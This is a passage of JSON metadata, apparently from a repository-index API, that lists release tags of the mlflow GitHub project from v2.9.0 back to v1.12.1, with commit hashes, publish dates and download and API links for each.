lflow@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.9.0/manifests"},{"name":"v2.8.1","sha":"98269ed0746d9ae5846b9546abc8e3699b2bc221","kind":"commit","published_at":"2023-11-15T20:22:11.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.8.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"c50a741b5c16daae41bc9d69cf4d3a284a51c1f9","kind":"commit","published_at":"2023-10-28T17:25:19.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.8.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"2801858f65203a7f3155e412ca3fc2e0bff92803","kind":"commit","published_at":"2023-09-17T14:21:00.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.7.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"09f0dbf7a74b25a2fd4cfa58d901756dde26ef73","kind":"commit","published_at":"2023-09-12T15:11:11.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.7.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.7.0/manifests"},{"name":"v2.6.0","sha":"693b694036bac735dae810eaad9622c519550751","kind":"commit","published_at":"2023-08-15T04:17:42.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.6.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.6.0/manifests"},{"name":"v2.5.0","sha":"9ee9f4ebd9172c2a17af20ec1d9d506843057d13","kind":"commit","published_at":"2023-07-17T07:27:27.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.5.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"79c489f9c965f93b5885b434be834222de29cd63","kind":"commit","published_at":"2023-07-10T04:48:14.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.4.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"2691a2b32b99cdec5d73940b1289b4efa5ce8cf4","kind":"commit","published_at":"2023-06-10T01:20:38.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.4.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"6a02445890fbc4aa0f9055e1bf7b347fbbe03300","kind":"commit","published_at":"2023-06-06T06:52:23.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.4.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.4.0/manifests"},{"name":"v2.3.2","sha":"f6678e497f98ee635b5c0f8fa69012eff010787c","kind":"commit","published_at":"2023-05-12T20:43:35.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.3.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"95dc31995ed488a6c8486e919a6116a84502be40","kind":"commit","published_at":"2023-04-28T08:05:48.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.3.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"6e051028b4cd5a4c68a32f8f59819f98ff62fb80","kind":"commit","published_at":"2023-04-18T20:33:01.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.3.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.3.0/manifests"},{"name":"v2.2.2","sha":"1fa3afbf31adfa4d4954ffa2f6c54c6d5468d53d","kind":"commit","published_at":"2023-03-15T11:31:18.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.2.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"ffe005c58dd45e4f200bfb5a77aa5273a57ca39d","kind":"commit","published_at":"2023-03-02T20:47:53.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.2.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"977f794103977018d156b48833095e037208c718","kind":"commit","published_at":"2023-03-02T05:37:40.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.2.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"81aef76c943c0807c96cf48c3aeedc9d8267211c","kind":"commit","published_at":"2022-12-26T07:50:15.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.1.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"a94ab5db0f17a1e862fe14a65903a751a3cfaa89","kind":"commit","published_at":"2022-12-21T07:37:24.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.1.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.1.0/manifests"},{"name":"v2.0.1","sha":"f2dd5e4bfdcc4e8e2db51ad38c1e9fa0afd99de7","kind":"commit","published_at":"2022-11-15T03:12:40.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.0.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"00c3b0a350a28c25b16fbb7feddb8147a919ce18","kind":"commit","published_at":"2022-11-15T02:47:55.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.0.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.0.0/manifests"},{"name":"v2.0.0rc0","sha":"84aa4a1efbe8f7b52adadafea474ca857e4b9346","kind":"commit","published_at":"2022-11-01T02:43:57.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.0.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.0.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.0.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.0.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.0.0rc0/manifests"},{"name":"v1.30.0","sha":"d975b5a19c8b04db97ba446cce91eb876f8ee60e","kind":"commit","published_at":"2022-10-19T22:39:47.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.30.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.30.0/manifests"},{"name":"v1.29.0","sha":"2487179a9f239024667946e7d31706a91f2536b8","kind":"commit","published_at":"2022-09-17T00:10:19.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.29.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.29.0/manifests"},{"name":"v1.28.0","sha":"519b308593ef68c18bc8a9db931cfa00f9fa2fc1","kind":"commit","published_at":"2022-08-11T07:12:25.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.28.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.28.0/manifests"},{"name":"v1.27.0","sha":"f3199e2c9354b49f30dc9325c144d028ac170e03","kind":"commit","published_at":"2022-06-29T03:21:26.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.27.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.27.0/manifests"},{"name":"v1.26.1","sha":"d42864b0168ef328ae9aec6bbe39e05a0c0f76fe","kind":"commit","published_at":"2022-05-28T00:42:52.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.26.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.26.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.26.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.26.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.26.1/manifests"},{"name":"v1.26.0","sha":"8561f8c025e683906da01582444b8432363d64af","kind":"commit","published_at":"2022-05-16T02:15:31.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.26.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.26.0/manifests"},{"name":"v1.25.1","sha":"b4ac5e836c92c44660e090c0359980e6e42342b7","kind":"commit","published_at":"2022-04-13T14:35:20.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.25.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.25.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.25.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.25.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.25.1/manifests"},{"name":"v1.25.0","sha":"6822c5512e423eb419851f2814ae3b8a816756ad","kind":"commit","published_at":"2022-04-10T21:15:26.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.25.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.25.0/manifests"},{"name":"v1.24.0","sha":"3816b31e5b63b01adbd372ec177f5369c533b546","kind":"commit","published_at":"2022-02-28T06:02:56.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.24.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.24.0/manifests"},{"name":"v1.23.1","sha":"1fd9b52790225a5f0d4382e5f3ce0c34d6471dc0","kind":"commit","published_at":"2022-01-27T03:29:53.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.23.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.23.1/manifests"},{"name":"v1.23.0","sha":"86ad0406b032261d2f0192c580c1eebc16b80135","kind":"commit","published_at":"2022-01-17T10:00:28.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.23.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.23.0/manifests"},{"name":"v1.22.0","sha":"eb087a7057ca31b9cf5516b7f3a63137dd6dc9c8","kind":"commit","published_at":"2021-11-29T21:56:19.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.22.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.22.0/manifests"},{"name":"v1.21.0","sha":"e0a0300039d55caf095d78ed5fd43dc6b75a79f8","kind":"commit","published_at":"2021-10-23T01:51:10.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.21.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.21.0/manifests"},{"name":"v1.20.2","sha":"36869c02a07e30d3d7c18fcf5a31cb7febd5dc9e","kind":"commit","published_at":"2021-09-03T23:24:16.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.20.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.20.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.20.2/manifests"},{"name":"v1.20.1","sha":"97b5bfed2580b89c760d18f040aa63b2de6db7bf","kind":"commit","published_at":"2021-08-26T06:30:21.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.20.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.20.1/manifests"},{"name":"v1.20.0","sha":"c22889f7d4c0a1b876335571c73bb4ed33d6bf8a","kind":"commit","published_at":"2021-08-25T07:45:51.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.20.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.20.0/manifests"},{"name":"v1.19.0","sha":"ab8519b48a37791ed66afc73c06f158d6c60a19f","kind":"commit","published_at":"2021-07-14T03:45:19.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.19.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.19.0/manifests"},{"name":"v1.18.0","sha":"1a8664f580a8edc1d2abab95cad1d2e40eab40a8","kind":"commit","published_at":"2021-06-18T05:40:32.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.18.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.18.0/manifests"},{"name":"v1.17.0","sha":"86322180259727f163b7ac9f914b274a2f8ede3f","kind":"commit","published_at":"2021-05-08T17:20:55.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.17.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.17.0/manifests"},{"name":"v1.16.0","sha":"756ba40e4f617471d0faa82bbe1b3f13acbf40a9","kind":"commit","published_at":"2021-04-23T05:11:13.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.16.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"5819a16dace4d2e5ba983bfec55b94cf147f6293","kind":"commit","published_at":"2021-03-26T17:19:06.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.15.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.15.0/manifests"},{"name":"v1.14.1","sha":"cdf98c459b1cff95bb58997e1c2eb86f76bd00cb","kind":"commit","published_at":"2021-03-01T03:58:43.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.14.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.14.1/manifests"},{"name":"v1.14.0","sha":"9395672974d56b64ba058f9b3fce143d1669b31d","kind":"commit","published_at":"2021-02-19T03:08:47.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.14.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.14.0/manifests"},{"name":"v1.13.1","sha":"fde99c09c98f73373905eca505194751b1761195","kind":"commit","published_at":"2020-12-31T07:08:52.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.13.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.13.1/manifests"},{"name":"v1.13.0","sha":"35094bc1aa2c25dae2d2fd9ef58276c35c77e799","kind":"commit","published_at":"2020-12-24T07:19:44.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.13.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.13.0/manifests"},{"name":"v1.12.1","sha":"63f96cce975beddb11509c9a329c556c96675fe8","kind":"commit","published_at":"2020-11-19T03:07:46.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.12.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v